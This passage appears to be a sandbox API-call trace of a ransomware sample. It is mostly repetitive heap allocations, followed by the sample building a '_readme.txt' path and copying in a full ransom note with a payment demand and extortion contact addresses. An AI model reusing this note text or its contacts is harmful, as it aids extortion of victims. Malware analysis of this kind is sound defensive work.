hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.677] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.678] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.679] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.680] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.681] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.681] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.681] PathFindFileNameW (pszPath="") returned="" [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.681] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.681] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.681] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.681] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.681] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0112.681] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.681] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0112.682] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.682] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 